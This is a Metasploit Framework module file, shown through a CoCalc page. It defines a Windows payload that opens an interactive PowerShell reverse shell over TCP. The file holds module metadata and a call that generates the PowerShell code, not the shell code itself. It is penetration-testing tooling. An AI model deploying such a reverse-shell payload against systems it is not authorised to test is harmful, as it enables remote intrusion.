CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb
Views: 11778
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'rex/powershell'
6
7
module MetasploitModule
8
CachedSize = :dynamic
9
10
include Msf::Payload::Single
11
include Rex::Powershell::Command
12
include Msf::Payload::Windows::Powershell
13
14
def initialize(info = {})
15
super(
16
merge_info(
17
info,
18
'Name' => 'Windows Interactive Powershell Session, Reverse TCP',
19
'Description' => 'Interacts with a powershell session on an established socket connection',
20
'Author' => [
21
'Ben Turner', # benpturner
22
'Dave Hardy' # davehardy20
23
],
24
'References' => [
25
['URL', 'https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit']
26
],
27
'License' => MSF_LICENSE,
28
'Platform' => 'windows',
29
'Arch' => ARCH_CMD,
30
'Handler' => Msf::Handler::ReverseTcp,
31
'Session' => Msf::Sessions::PowerShell,
32
'RequiredCmd' => 'generic',
33
'Payload' => {
34
'Offsets' => {},
35
'Payload' => ''
36
}
37
)
38
)
39
end
40
41
def generate(_opts = {})
42
generate_powershell_code('Reverse')
43
end
44
end
45
46